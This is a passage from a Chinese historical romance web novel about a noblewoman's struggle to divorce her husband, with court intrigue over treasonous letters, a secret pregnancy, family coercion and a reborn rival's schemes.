不过好在他反应极快,在察觉到局势不对之后便令人将一切尽数销毁,而后天子似乎也并未查到他身上,所以直至如今他也依旧安然无恙。 只是此事纪萝所言却将他费心掩埋的一切尽数说了出来,这令他心底难免有些不安。 但他自然是不会承认的,“你一个深宅妇人,朝中之事波诡云谲,岂是你能妄言的?” “侯爷这是不承认?”见他不肯承认,纪萝也并未觉得奇怪,只自顾自接着道:“我与侯爷不同,若是手里没有证据,可不会胡言。” 赵承嘉听得这话,心下这才有些慌张,“证据,你有什么证据?” 纪萝对上他的目光,“侯爷曾与景王有书信往来罢?侯爷亲笔写下的书信,可算证据?” “书信?你去了我书房偷了我与景王来往的信件!”赵承嘉这下是彻底变了脸色,他猛然站起身来,又是恼火又是不敢相信,“你到底想做什么?” 纪萝虽是抬眼看向他,但目光中却没有分毫怯色,“我想做什么从一开始不就告诉过侯爷了么?” 赵承嘉想起纪萝方才的话,眼底多了几分难以置信,“和离?你竟然只是为了与我和离便要拿这书信来要挟我?你可知这书信关系到整个永宁侯府的命运,若是落入有心之人手中,你又如何能独善其身?” “怎么都比继续困在这侯府好。”纪萝冷笑一声,“况且,我自然是知道侯爷会明白该如何取舍,与我和离,显然是最好的选择,这样,大家都好过些。” 纪萝从不认为赵承嘉会当真多么在意她,所以也越发笃定等她以这封书信作为要挟之时,赵承嘉会让步。 他其实是一个极为自私的人,不说纪萝,即便是王玉盈,那个曾经被他放在心尖的白月光,在得知受了蒙骗之后,不是依旧被他舍弃。 他或许喜欢王玉盈,可说到底,他心底最为在意的,也唯有他自己。 所以纪萝确定,他会做出个正确的选择来。 “所以你的意思是,倘若我不答应和离,那你便要将证据交上去,哪怕落得玉石俱焚的结局……”即便纪萝已经将所有一切都说得万分清晰,他在理清楚所有一切之后依旧有些不敢相信。 毕竟眼前与他几乎不带分毫感情地分析着一切利弊的纪萝,同他记忆中那个温柔顺意的纪萝,简直恍若两人。 从前的纪萝,向来性子温顺,万事都会以侯府,以他为先。 即便是怀了身子,在他克制不住自己的情绪要做出一些不理智的举动之时,纪萝也依旧强撑着拦在他身前,一心劝他为侯府着想。 就算到了那时,纪萝也不曾这般威胁过他。 但此时,纪萝却只为了和离,甚至要因此将整个侯府都推入万劫不复的深渊。 这实在令他陌生。 但纪萝却并不在意此时的他心中如何作想,只道:“所以,侯爷会答应和离吧?” 她只要与赵承嘉和离,别的都不在意。 赵承嘉盯着她看了好一会,忽地觉得头有些疼,他喃喃道:“你让我想想,你让我好好想想。” 纪萝并不担心这事出现变故,她知道赵承嘉是什么样的人,所以更是明白他只要将这一切想得越发清楚,便更会知道该做什么样的选择。 “三日。”纪萝道:“我只给侯爷三日时间,希望到时候侯爷能给我一个令我满意的答复。” 玉石俱焚并非是纪萝想看到的结果,她只想和离,所以也并未逼着赵承嘉此时便给一个答案。 赵承嘉终于移开目光,他失魂落魄地点了点头,道:“好。” 可在赵承嘉终于转身出了院子之时,纪萝心口却禁不住涌上一阵恶心之意,竟是直接吐了出来。 蓉芳听见里间的动静,急忙进来,“夫人这是怎么了?” 纪萝这几日用食大多清淡,今日夜里更是只简单用了些吃食,这会儿只觉得恶心欲吐,但实际上却是不曾吐出什么来。 只是蓉芳 第一回见纪萝这般模样,顿时着急地不行,“夫人这不会是吃坏了肚子,奴婢马上去寻大夫过来!” 但纪萝却突然想到什么,忙拉住蓉芳,“让吉香来。” 蓉芳一愣,“可是……” 纪萝拉住她的手稍稍用了些力气,语气更是笃定道:“让她来就行。” 蓉芳无法,只得垂首应下。 其实纪萝前几日身子便隐约有些不对劲,她比平日里似乎要更是困倦许多,偶尔还会有犯恶心的症状,但因着这几日她忙着对付王玉盈,几乎没有空闲的时间去细想是否是身子出了问题,最多不过以为是这几日太过忙碌导致身子有些疲累罢了。 可如今…… 纪萝是怀过一回孩子的,这些症状对于她而言,实在有些熟悉。 她即便再不愿往那个方向去想,却也不得不想到,或许她当真怀了身子。 她与赵承嘉确实很久不再有亲近之举,可那日寿宴,她却与周南星有过一回…… 细细算来,竟也过去一月有余,若是当真是那日,那腹中这孩子,似乎也就能解释得通了。 纪萝这会儿脑中乱作一团,只是她明白,不论如何此事暂时不能为人所知。 毕竟这个孩子并非是赵承嘉的,而她还未顺利与赵承嘉和离,若是在这紧要关头出了岔子,对她而言,实在没有好处。 她得瞒住。 蓉芳心里担心纪萝,自是不耽误,匆匆将吉香带了过来。 等她上前给纪萝把脉之后,神色似乎一顿,而后才道:“夫人这脉象,应当是喜脉。” 饶是提早做好了心理准备,纪萝也依旧止不住深吸了一口气。 一旁蓉芳也是吃了一惊,而后反应过来却是一脸喜色,“夫人这是怀了身子!奴婢马上将这喜事告诉侯爷!” 纪萝与赵承嘉之间的这些事蓉芳自然是不知的,方才见赵承嘉就这般转身离开,蓉芳还颇为担心,以为是纪萝做了什么惹得赵承嘉不高兴了。 这会儿得知纪萝竟是怀了身子,自然是极为高兴,想着若是赵承嘉与王氏知晓这事,定是高兴得不行,也会对纪萝另眼相看。 “先不急着告诉侯爷。”纪萝生怕蓉芳当真将此事说出去,忙道:“这孩子才怀上,也未必稳当,万一之后出了差错也未可知。” 蓉芳闻言却忙往地上呸呸几声,“夫人怎能说这样不吉利的话,您身子好,这孩子来得也正是时候,往后定能平平安安生下来的!” 她说到此处,又接连说了好几句吉利话,好似如此便能将方才纪萝说的那些不吉利的话抵消。 纪萝只得又解释道:“稳妥些总是没错的,这事你先帮我瞒着,等到了时候,我会告诉他们的。” 蓉芳听得她如此说,也只得应了下来。 *** 王家。 王玉盈从被带回家中之后已经被逼着在此处跪了三个日夜。 李氏是下了决心要折磨她,所以甚至特意安排了婢子在她身边守着,只要她只撑不住睡过去,便要及时将她叫醒,令她一直清醒着忏悔。 这对于王玉盈来说自是极为痛苦的折磨。 不说跪上三日,便是几个时辰都足以令人浑身酸疼,更不说让她不眠不休地这样跪上三个日夜了。 三日之后,王玉盈几乎是瘫软在了那儿,一双腿早已没了知觉。 李氏进来时瞧见的便是这副景象。 只是她却恍若不曾瞧见一般,只绕过她,给王绍的牌位上了三柱香。 王玉盈见李氏进来,慌忙拉住她的裙摆,而后一个劲儿地往地上磕头,“母亲,母亲,阿盈知道错了,求您原谅阿盈这一回吧!” 李氏终于低头看向跪在地上那早已被折磨得不人不鬼的王玉盈,可她眼底却并无半分怜惜之意,她死死盯着王玉盈,不知过了多久才忽地冷笑一声,“你终于愿意承认了,承认你弟弟就是被你害死的了。” “是,都是我的错。”王玉盈知道不会再有旁人来救她,唯有求得李氏原谅才能摆脱困境,所以只能试图劝说李氏,“阿弟已经死了,我会代替阿弟好好陪在您身边,往后,不论母亲想令我做什么,嫁去孙家也好,旁的也罢,我都不会再反抗……” 可王玉盈的话还不曾说完,李氏便抬手狠狠打了她一巴掌,“你算是什么东西,也妄想替代你弟弟?” 王玉盈这三日原本就受了不少折磨,李氏不想让她好过,每日的吃食只够令她吊着一条性命,这般熬了三日,她还能有气力讨好李氏也不过是强撑着罢了。 这会儿李氏的一巴掌也全然不曾收着力气,一下便将王玉盈打得摔在一旁,耳边更是瞬间被嗡鸣声充斥,她捂着被打得通红的半张脸,久久不曾缓过神来。 李氏的叫骂声却依旧不曾停下。 她几乎用尽了最为肮脏的话语来羞辱她的女儿。 王玉盈就任由她这样骂着,直至李氏说到那句“阿绍是那样好的孩子,你是他姐姐,你怎么就能下得去手”的时候,王玉盈才终于忍不住嗤笑了一笑。 李氏见她竟是笑了,心头火气愈盛,用力猛然拽紧了她的衣襟,“你笑什么?你弟弟死了,你很高兴是么?” “是。”大约是看明白李氏无论如何不会轻易放过了自己,王玉盈竟是索性承认了。 见王玉盈不再伪装,李氏反而神色一顿,而后还恨恨道:“你弟弟不过只是问你要了几回银子,你就要了他的性命,我怎么会生出你这样的毒妇来?” “倘若早知道,我当初就不该将你生下来,或是掐死在襁褓中,也总好过今日……” 李氏说着,眼神中恨意愈浓,好似当真恨不得此时便动手彻底了结了王玉盈。 王玉盈对上她那样的目光,虽然知晓眼下自己的性命都全然掌握在眼前人手中,可头一回竟也并不觉得有那般恐惧了,她轻声道:“母亲说他只不过问我要了几回银子?” “母亲可知,我入了侯府之后也不过只是一个妾室,侯府老夫人从前对我是有几分疼爱,但那是我嫁去侯府之前,她一心想着她那个儿子,嘴上说什么要为我寻什么好亲事都只不过说着好听罢了,实际上不过是想随便寻一个人将我打发出去,对我好,只是彰显她多么仁厚慈善,所以只要她知道了我想嫁去侯府,想嫁给表哥,便对我宛如换了一个人!” “在侯府,她处处刁难我,不让我好过,明明从前她最厌恶的便是纪萝,但等我入了侯府,她反而高看了纪萝几分,我不过多买了几件衣裳首饰,她便当众说我的不是,称我不过是个妾室,我的体面没人在意。” 王玉盈眼底恨意愈浓,“我早不是从前在袁家的时候了,入了永宁侯府不过是表面风光,实际上人人都能欺我辱我,我月例银子不多,为了对付纪萝甚至变卖了不少首饰,王绍他却是个无底洞,从我还不曾入了侯府的门之时便问我要了好几回银子,后来我入了侯府更是变本加厉,只要有一回我不曾如了他的意,他便要拿那些事来威胁我,这次若不是他叫嚷着,编排我与旁人有染,我又如何会……” “这不是你自己求来的吗?”李氏听得王玉盈所言,却只冷冷道:“当初我也好,你父亲也好,不是都劝你不要与袁庆生和离,那袁家虽在朝中并无权势,但家中富足,袁庆生待你更是用心至极,可你偏要和离,偏要嫁去侯府,既是你自己想要的,之后有再多的苦楚,你都应当受着!” 王玉盈指尖掐入掌心,“母亲以为,我当真只是为了一个外室就要舍了那些荣华富贵,与我当初费尽心思要嫁与之人和离?莫说这个外室只是我安排的一出戏,便是他当真有了外室,我也会生生忍下。” 听她这样说,李氏倒是有些意外,“袁庆生没有养外室?那他的那个孩子……” 李氏虽知自己这个女儿向来心机颇重,但是却也知道她当初对袁庆生确实是一片真心。 否则也不会舍弃身为永宁侯的赵承嘉,偏偏看中了彼时还不算起眼的一介商户了。 所以后来王玉盈说袁庆生有了外室,李氏也并未怀疑过什么,直到此刻,她才意识到这或许也只是一个谎言。 “那个孩子自然也与他没有关系。”王玉盈抬眸看向李氏,“事已至此,我也没有必要再瞒着母亲了,其实我曾经死过一回,上辈子,我便是一心留在袁家,留在袁庆生身边,甚至为他生下了一个女儿,只是我与他的下场并不好,他被牵连进了一桩叛乱的案子里,最终连累我,也连累了整个王家。” “上天给了我重活一回的机会,我自然是不能重蹈覆辙,袁庆生再好,可惜命却不好,跟在他身边,我注定不会有好结果!” 王玉盈说的这些实在太过荒唐,李氏愣了片刻后才摇头道:“叛乱,你说的叛乱,莫非是景王之事?” 上辈子被牵扯进那桩叛乱案之时,一切来得猝不及防,直至官兵到了门口,她才意识到情况不对,之后便直接被官兵押走,甚至是到了流放途中,她才知道自己是被牵扯进了一桩叛乱的案子之中。 至于领头叛乱之人到底是谁,她一时间竟也是想不起来了。 李氏见她神色迟疑,便道:“算算也不过是半年前吧,那时候你与袁庆生还没闹着和离,那会儿你与我提过,说是袁家如今虽是不缺钱财,可因着半分官场的关系都没有,若是遇上麻烦,便只能四处塞银子求人, 而你也总在那些官家夫人面前抬不起头来,那些当真身份贵重的也就罢了,偏偏有些微末小官的夫人都敢给你脸色看。” “我那时劝你忍一忍,士农工商,商户向来是排在最末尾的,人家瞧不起也是正常,当初嫁给一个商户是你自己的选择,我与你父亲也并非不曾劝过,可你却道,如今是商户,往后也不能一辈子都是商户,还说当今景王颇为爱惜人才,也曾经数次表明有意提携袁庆生,还说虽说袁庆生并无此意,但你必定会令他改了念头。” 这些事对于李氏而言不过才过去半载,对于王玉盈而言却已经是上辈子的事了。 所以她一时间想不起来也是正常,但是经过李氏这一提醒,她也恍惚记起来,当初她因为袁庆生不过是个商户,令她再上京的那些官家夫人面前总抬不起头来而颇为恼火。 便有心想让袁庆生也入朝为官。 恰好这时她得知当朝景王颇重人才,甚至有提拔袁庆生之意,但偏偏袁庆生却并无此种心思,多次婉拒。 知晓此事之后王玉盈实在按捺不住,劝了袁庆生数回,只是袁庆生却叹了口气道:“这景王殿下这般看重我,无非是为了我手中钱财罢了,倘若我当真为他做事,怕是不免会牵扯进一些事端啊。” 又道:“平安才是最为重要的,阿盈如今有了我的孩子,我只望你们能平平安安。” 可王玉盈却不肯答应,她只觉得袁庆生这般是安于平庸,不肯为她,为孩子再争一争。 她一次又一次地逼着袁庆生,用尽法子威胁,最激烈地一次,她拿了刀子架在自己脖子上,道:“我从前也是位官家的小姐,为了嫁给你,不惜与家里闹得那样难看,如今成了你的夫人,却处处被人瞧不起,我倒也罢了,往后我们的孩子呢,难道你也要她生下来之后被那些人看不起?” 她说着,神色越发悲痛,“与其这样,不如索性让她也不必来这世上了,今日就这般了断了的好!” 说罢,她就作势当真要用力了断了自己。 只是最后自然是被袁庆生拦了下来。 那一回之后,袁庆生便答应了此事,也当真与景王多了来往,以至于后面景王叛乱,他也确确实实出了力,所以被牵扯其中…… 电光火石间,王玉盈想起了被自己所遗忘的而所有一切。 这辈子她重生回来的时候恰好便是她逼着袁庆生与景王交好之时,可她重生之后,满脑子都是对于上辈子因流放之刑而惨死的恐惧,只想着如何摆脱那样的命运,却忘了,最初,便是她自己逼着袁庆生为景王做事,这才让他受了牵连。 而这辈子她一心想着和离,自然不会再逼着袁庆生为景王做事,袁庆生原本就并无这般心思,如此,他与景王之间甚至全然不曾有过牵扯,自然就不会承受流放之刑…… 王玉盈几乎是豁然开朗,“这辈子不会了,他不会再受到牵连了,一切都变了,一切都变了……” 她的神情似哭似笑,一直在喃喃说着什么。 李氏原本差点被她那番荒唐的言论唬住,可如今见她这副神神叨叨的样子,只觉得她莫不是疯了。 于是恨恨起身道:“也好,你便这样疯着吧!” 可等她转身离去,身后的王玉盈眼眸却是少见的清明,这辈子袁庆生不会被景王所牵连,也就是说他会富贵一生,再不会受流放之苦。 他那样喜欢自己,只要自己逃出去,回到他的身边,一切,便还有转机。 *** 翌日,纪府。 赵承嘉少见得登门拜访,纪明林听得手下人禀报,忙放下手中事务前去迎接。 见了赵承嘉,他便热络地上前嘘寒问暖,见赵承嘉眼底分明的一片乌青,他语气不满道:“阿萝也是,怎么照顾侯爷的?” “并非是阿萝的过错。”赵承嘉语气顿了顿,到底是叹了口气,“不瞒岳丈,今日我过来,其实是为了阿萝的事。” 纪明林心底一沉,面上却挤出几分笑意来,“可是阿萝在侯府做错了事?这孩子性子倔,若是做错了什么,还望侯爷多担待……” 纪萝与赵承嘉的这桩婚事令他得了不少好处,所以他自是不希望出了岔子。 但赵承嘉却依旧摇头,神情中似有几分苦涩,“说来是我做的不对,阿萝如今铁了心要与我和离,我与阿萝到底这么多年夫妻情分,我自是不舍,可阿萝哪里愿意听我多言,我实在没了办法,便只能来见岳丈。” “什么?”纪明林闻言也是吃了一惊,他原本以为是纪萝做错了什么,赵承嘉存了和离心思,不想竟是纪萝提的和离,赵承嘉反而是挽回的那个,“她与她母亲当真是一样的性子,侯爷不过纳了个妾室,又算是多大的事,竟要为此闹得和离?” 纪明林越发说着,大约想起从前纪萝的母亲,语气越发不忿,“不说是侯爷这等身份,便是寻常的富贵人家,三妻四妾又有什么稀奇的?阿萝这个正式夫人当真没有半分容人之量,这样的小事竟是闹到和离的地步,也不好生想一想倘若与侯爷和离,往后她又能有什么好去处?” 赵承嘉叹了口气,只道:“还望岳丈帮忙劝一劝阿萝,我如今也实在没了别的法子。” 纪明林自是满口答应,他既然知晓了这事,即便是赵承嘉不开这个口,他也不会令这和离之事成真。 他可不想失了侯府的这层关系。 见纪明林答应,赵承嘉紧皱的眉头也稍稍松缓,心中也有了几分底气。 之后纪明林又埋怨了纪萝几句,大约都是说她这般做法实在不懂事之类,赵承嘉都是敷衍应着,不时应和几句。 可偏偏在这时,又下人上前来与纪明林耳语几句,纪明林闻言有些不敢相信地看向前来传话之人,而后匆匆起身道:“侯爷稍等片刻,我有些家务事要去处理。” 见赵承嘉颔首,他才匆忙离开。 一出正厅,他再克制不住心底的怒火,颇为不耐烦道:“魏氏这有是怎么了,都一把年纪了,怎么还闹腾这些?” 底下人显然也并不知其中缘故,只得小心翼翼道:“夫人瞧着情绪很是不对,却也没说别的,只说是要见您。” 纪明林冷哼一声,但还是大步往湖边方向去了。 等到了湖边,正见魏氏抱着纪敏敏坐在那石围栏边上,半只脚已经是踏进了湖水里,他顿时吓了一跳,“你这是做什么?” 魏氏从前性子骄纵,为了使手段争宠,自尽这种法子也并非是 第一回用。 可她对她自己的孩子是真心疼爱,宁可自己受千万分的苦痛,但却不会愿意令自己的孩子伤上分毫。 但这会儿她却并非是以自己一个人的性命来威胁纪明林,而是以她与纪敏敏两人的性命来威胁。 原本纪明林对纪敏敏这个孩子其实并不算上心,比起女儿,他更想要的是儿子,所以对于纪敏敏这个女儿自是并未太过在意,只是时日久了,不说魏氏的肚子再没了动静,就是他纳 的那几个妾室也都没有为他再有个一子半女。 如此,除却纪萝之外,纪敏敏便成了他唯一的血脉,他对这个小女儿自是不免多用了些心思。 倘若这会儿魏氏只是以她自个的性命要挟,纪明林甚至不会多看她一眼,可偏偏魏氏怀中抱着他的小女儿。 大约魏氏也明白这一点,所以才如此做。 纪明林眸色一冷,“你这是做什么,敏敏还小,别吓坏她了!” “老爷。”魏氏却凄然一笑,“阿萝在侯府经历的那些事,你并非不知,永宁侯他何止是纳了一门妾室,更是宠妾灭妻,甚至将这事肮脏事闹得人尽皆知,阿萝为他怀的那个孩子也因着他的缘故才一个月便没了,更不说才落了胎,他又为着他那个表妹将阿萝……” “这与你又有什么干系?”不等魏氏将话说完,纪明林便神色颇为不耐地打断了她的话,显然无心与她争执这些。 可魏氏却并未止住话头,她看向怀中的纪敏敏,又道:“如何与我没有关系?只看阿萝,我便能想到敏敏往后会过上何种日子!” 纪明林面色微变,但却强撑着呵斥道:“你胡说什么!” “等我的敏敏长大,怕也会成了你攀附权势的工具,届时她即便受尽苦楚也不会有脱身之法,就算求到家中来,你这个做父亲的也依旧会为了权势将她推出去,与其往后受这样许多苦楚,倒不如眼下,我与敏敏便一同投入这湖水中,或许还能求得来世做母女的缘分!” 说着,魏氏作势便要带着纪敏敏一同跳入湖水中。 这令纪明林瞬间慌了神,下意识往前两步,“等等!” 他眼底多了几分无奈,“我何曾说过要让敏敏受这样的苦楚?” 魏氏冷笑一声道:“阿萝是你的女儿,敏敏也是你的女儿,你既这般算计阿萝,敏敏往后长大了,又哪里能有什么好下场?” 纪明林的神色僵住,“这……” “我知老爷想从永宁侯那儿得到些好处,可阿萝嫁去侯府三四年了,我们纪家又当真沾了永宁侯多少光?不说旁的,只说老爷这官职,您与永宁侯提了多少回,可他又何曾帮过?”魏氏心知纪明林虽明面上不曾说过什么,可他向来不是什么心胸宽广之人,所以心里怎会不曾存了不满? 只不过顾虑着赵承嘉的身份,敢怒不敢言罢了。 此时她如此说,却是故意拆穿了他的心思。 果真纪明林听了这话面色也越发难看,魏氏这话不曾说错,他一心想攀附着永宁侯府以此得些好处,可除却纪萝刚嫁去侯府那一年却是稍稍风光了些,到了后边其实并未真正得到什么好处。 那会儿一些原本有心攀附永宁侯府却又寻不到机会的人知晓纪家与永宁侯府这一层姻亲关系,自是想法设法地找到了纪家来,纪明林听着那些人说的客气恭维话语,自是颇为风光。 只是后来那些人见纪明林虽算作是赵承嘉的岳丈,但却并不能因着这层关系帮自己办成事。 不说帮自己办成事了,便是他自己也因着一桩案子被拖累,永宁侯府对于此事这只是袖手旁观,连伸手帮一帮都是不愿。 如此,足以说明想通过纪明林这条路子攀上永宁侯全然没有可能。 他们既然能想到这样的门路,也足以说明并非蠢笨的,既然瞧出纪明林帮不上忙,自然也就不会在他身上白费心思。 所以不过一年,纪府就恢复从前模样,甚至因着牵连至一桩案子的缘故更是冷清许多。 这些事,纪明林不可能不明白。 魏氏见他神色变化,也抓住时机,又道:“到底女儿才是自己的孩子,既然在永宁侯府受了苦楚,想和离,不如索性和离了便是,总归从前还算得永宁侯宠爱时也没为家里争得什么,如今永宁侯偏宠旁人,家中妾室一门一门地纳,难道就能为咱们家里争得什么了?” “倒不如索性和离了,外头人听着,至少还觉得我们纪家算是有骨气的!” 外头那些流言蜚语几乎传得人尽皆知,纪明林即便再不关心这些,也少不得会传到耳边来。 倘若这时候让纪萝与之和离,确实能为纪府博得好名声。 至少说明他们纪家虽然门第低,可却有些不卑不亢的骨气。 “老爷倘若不应。”魏氏瞧出纪明林神色松动,便又逼了他一把,“那我们母子当真就没法活了!” 纪明林再顾不上细思,忙答应道:“好好,我答应你就是!” 魏氏听着他应下的一瞬,悬起的心才算落下。 不过等纪明林再度回到正厅时,赵承嘉却已经离开,下人道:“侯爷似乎有什么要紧事,只说等寻了空闲再来与您详谈便匆匆走了。” 纪明林听着这话,想到魏氏所言,最终只“嗯”了一声便没再多说。 赵承嘉离了纪府之后却是入了宫。 传话的人只说是天子急召,却不曾说到底是因着何事,他想着昨日夜里纪萝的那些话,心底越发不安起来。 但也无法,只得匆匆入宫。 一到御书房,他便分明感知到里间几乎令人无法喘息的气氛。 他低着头上前,跪下先恭恭敬敬行了礼。 坐在高位上的谢元墨见他进来,面上神色未变,甚至语气也听不出喜怒来,只是开口说出的话却让赵承嘉后背一阵发冷,“一月前,朕的皇叔存了谋反心思,牵连其中的官员不计其数,彼时,你因着剿匪一事立下的功绩也算彼时朝中炙手可热的人物,朕的皇叔拉拢了那么多人,不知其中可有赵爱卿?” 赵承嘉原本便垂着的头底得越发低了,他几乎战战兢兢道:“王爷却是有意拉拢臣,只是臣万万不敢存有二心,所以从不曾应下过。” 见他不肯承认,谢元墨自然也不意外,只摩挲着手中的那两封书信,“看来赵爱卿将朕当作那眼盲心瞎之人,连手下人怀了什么心思都瞧不出了!” 话音落下,谢元墨也重重地将这两封书信砸到赵承嘉面前。 这信中的内容他瞧过,其中的真假自然也去查验过,赵承嘉虽不至于当真为景王做过什么,但也确实存了背叛心思。 只因着这一桩,谢元墨便有理由治他的罪。 至于这事到底如何清算,却还要看谢元墨如何论断了。 赵承嘉几乎是浑身发颤地捡起了谢元墨砸在地上的那两封信,他拆开之后只是看了一眼便慌忙跪在地上连连磕头,“陛下,臣只是……只是……” 他吞吞吐吐了半天却也再说不出什么来。 这两封信放在这儿便是铁证,他若是再辩驳,反而会令天子愈发不满,可却也不能索性认下,所以一时才说不出话来。 谢元墨无心听他找理由解释,只盯着他,语气发沉道:“说到底你只是有这心思,却并未当真做些什么,虽说你这信里说了颇多大逆不道之言,但朕也并非心胸狭隘之人。” 谢元墨这话令赵承嘉心底生出了几分希望,可就在这时,他听着谢元墨接着道:“与阿萝和离吧,两日内,只要你安安分分与她和离,此事,朕就不与你计较了。” 第65章 从御书房出来时,赵承嘉只觉得浑身发冷。 明明已近夏日,可赵承嘉却浑然如同从冰窖中出来一般,甚至身子克制不住地发颤。 谢元墨说出那句话来的一瞬,几乎是分毫不曾顾虑地将他与纪萝之间的关系言明。 纪萝是他的妻子,可谢元墨却当着他的面,唤她“阿萝”。 那一瞬,赵承嘉几乎是下意识抬眼看向天子,心底的屈辱感令他连呼吸都变得艰难。 他甚至克制不住地想质问眼前人凭什么要求他与他的妻子和离? 难道天子,便能不顾伦理纲常,行这君夺臣妻之事? 就不怕朝臣不满,天下人非议? 可对上那双冰冷的眼眸,那些到了嘴边的话,最终是半个字也不曾说出口。 他知道若是遇那装叛乱的案子牵扯上关系会是什么样的下场,不仅是他,他的母亲,妹妹,整个永宁侯府怕都不会有好下场。 所以即便他心里再恨,也只能咬牙忍下。 最终他俯首,应道:“是。” 回到侯府之后他便将自己关进了书房中,即便是王氏身边的秋和过来说是情他过去用晚膳他都不曾露面。 不过王氏自然不知其中缘故,只以为赵承嘉是因着王玉盈之事心中郁闷,便也不曾勉强。 只是不免又抱怨了王玉盈几句,“当真是个不安分的,前头的算计也就罢了,竟还怀着旁人的孩子嫁进我们侯府来,入了侯府后甚至还……还……” 后边的肮脏事王氏显然有些说不出口,所以最后她只是叹了口气,又道:“她心机深,背地里算计了这样多,面上却瞧不出分毫来,倘若不是她自个的母亲,这些事,我们怕是永远不会知道的。” 秋和自然在一旁附和着。 如今王玉盈已经被她母亲带回了王家,不论如何这也算是一桩好事。 否则这样心机深 沉之人继续留在侯府,往后还多是会生出乱子来的时候。 所以王氏虽然提及此事之事不免抱怨几句,心底却还是高兴的。 至于赵承嘉,心底再难受也只是这一阵子的事罢了,总好过一辈子这样纠缠不休。 *** 入夜,王家后门一个仓皇的身影脚步踉跄着出了门,而后几乎不敢停歇地绕过深巷,最后从街市中穿过,在一户人家门前一遍又一遍地叩门。 这里,正是袁家。 而这深夜前来叩门之人也并非旁人,而是王玉盈。 她从那日理清了所有一切之后,心里便有了主意。 赵承嘉那日的神色她看在眼里,明白他看似在意自己,其实不过是从前求而不得的不甘在作祟。 如今谎言被彻底戳穿,赵承嘉心底对她的那几分所谓情意也早荡然无存。 当日,李氏既然能当着赵承嘉的面将自己带走,那自己即便再去见他,怕也求不来他的怜惜。 倒不如去见袁庆生。 与赵承嘉不同,王玉盈知道,袁庆生是真心喜欢自己的。 上辈子的赵承嘉另娶他人,也早已将自己忘却,可袁庆生却是一直陪在自己身边之人。 他的情意,王玉盈从未怀疑过。 从前她不肯再与袁庆生有所牵扯,那是因为她以为袁庆生的下场注定不好,她要逃脱那样的命运。 可不想正是因为她这辈子不一样的选择,竟是阴差阳错地改变了袁庆生的命运。 这一辈子他不再与景王有所牵扯,自然也不会再牵扯到叛乱案中,他虽只会是一个商户,可却能平安富贵一生。 留在他身边,对于王玉盈而言已经是最好的结果。 王玉盈心下想着这些,眼神越发坚定,更是用力的叩门。 门终于开了,开门的是袁府的老管家,他一见来人竟是王玉盈神色也有些异样,而王玉盈认出他,忙道:“孙管家,我来见庆生。” 王玉盈从前做的那些事,这孙管家作为袁府的老管家,自然是知道的。 他眼看着袁庆生是如何用心对待王玉盈,可最终两人却闹成这副模样,王玉盈更是口口声声说袁庆生养了外室,最终闹得人尽皆知。 他自小便在袁府,更是看着袁庆生长大,对主子的性子是最为了解的。 他知道,养外室这种事自个主子是万万做不出来的,但偏偏却被人扣了这样一顶帽子。 原本孙管家还想不明白其中缘故,可后来听说了王玉盈嫁入侯府为妾的事,心下便有了答案。 原来是为了攀高枝! 孙管家心底如此想着,对王玉盈自然也不会又什么好脸色,他听王玉盈说要见袁庆生,更是语气嘲讽道:“王姨娘这个时辰过来可是又什么事?” 王玉盈听得他这样称呼,心里虽然有些不舒服,可知道孙管家是袁府的老人,至少眼下自己还不能得罪了他,于是竭力压下心底的不耐,再度问道:“孙管家,庆生可在里间?” 孙管家刚要再开口,却听见里间传来茵娘声音,“孙管家,可是有客人来了?” 一听着是茵娘的声音,王玉盈唇边便多了一丝若有似无的笑意,她没再与孙管家多言,只一边往里间走去,一边拔高声音道:“茵娘,是我。” 大约是听出是王玉盈,里间的声音顿了一瞬,而后才有脚步声传来。 茵娘抱着她的孩子从正厅走了出来,她瞧见王玉盈如今的模样,却是等了片刻后才有敢认,“王姑娘,你怎么……怎么弄成这副模样?” 王玉盈如今的模样确实狼狈,与从前模样实在大不相同,茵娘有些不敢相认也是正常。 只是王玉盈却并未有要与茵娘解释的意思,她向来习惯在旁人面前扮作怯弱模样,可在茵娘面前却少见地有些高人一等的优越感。 即便如今的茵娘衣着富贵,而她狼狈不堪,她也依旧抬起下巴,嗤笑道:“茵娘,如今你的日子倒是过得不错,庆生对你很好罢?” 茵娘听王玉盈这话,神色中也多了几分难堪,而王玉盈却自顾自地继续道:“看来是对你不错,你也当真是个有手段的,当初我看你带着一个孩子过得很是不容易,一时不忍心才帮了你一把,不想你如今竟是鸠占鹊巢,成了袁家的女主人了?” 当初王玉盈一心想从袁庆生身边逃离,又在街边意外遇见茵娘。 彼时的茵娘确实颇为可怜,她年纪轻轻便带了个孩子,丈夫据说是喝多了酒摔进了河里,尸身被捞上来的时候早已被鱼啃噬了大半,连样貌都辨认不出了。 而茵娘家中原本就靠丈夫做些小工为生,她丈夫走后,丈夫的兄长嫂嫂便将家业尽数占了去。 王玉盈见到她时,她已经在街上流浪了数日,甚至以乞讨为生。 恰好王玉盈一直不曾想到逃离之法,见到茵娘之后心下便有了主意,她要利用茵娘,不仅要离开袁庆生,更是要将这所有一切的过错都尽数推脱到他身上。 如此,才有了后边那些事。 或许也正因为王玉盈 第一回见到茵娘时,她就如同乞丐一般,倘若不是王玉盈帮她,她怕是早就没了性命,所以即便此时她衣着富贵,王玉盈依旧不会将她放在眼里。 “不是的。”茵娘听王玉盈如此说,也神色慌张地想要解释,“我只是……只是没有办法……” 她不是一个人,她身边还有年幼的孩子,倘若她不抓住袁庆生这最后一根救命稻草,那她定然是不会有活路的。 王玉盈听着她的解释只觉得可笑,不过却也再无心与她多说,只道:“庆生在哪里,我要见他!” 话音落下,袁庆生正从外间走了进来,他的目光从王玉盈身上扫过,但却并未停留,只大步走到茵娘身边,皱眉道:“你身子不好,夜里风凉,怎么出来了?” 茵娘的目光下意识落在一旁王玉盈身上,张了张嘴正要说话,王玉盈却先一步开了口,“庆生,是我,你不认得我了么?” 这句话还不曾说完,王玉盈的眼泪就落了下来。 比之从前,她这时的眼泪其实并非全然为了博得同情,而是当真觉得难过。 她是真心喜欢袁庆生的,否则当初也不会一心嫁与只是商户的他了,眼下沦落到这般境地,却又亲眼看见自己那般在意之人对旁的女子嘘寒问暖。 甚至这女子还是她自己想法设法送到他身边的。 这令她如何能不难过? 可等她开了口,袁庆生却依旧看也不曾多看她一眼,只对茵娘道:“你先回去休息罢,这边我来处理便是。” 眼见袁庆生对茵娘这般爱护,对自己却一副不愿搭理的模样,王玉盈再也忍耐不住,咬牙道:“她不能走,她若是走了,许多事情就说不清了!” 说罢,她甚至神色略有些得意地看了一眼茵娘。 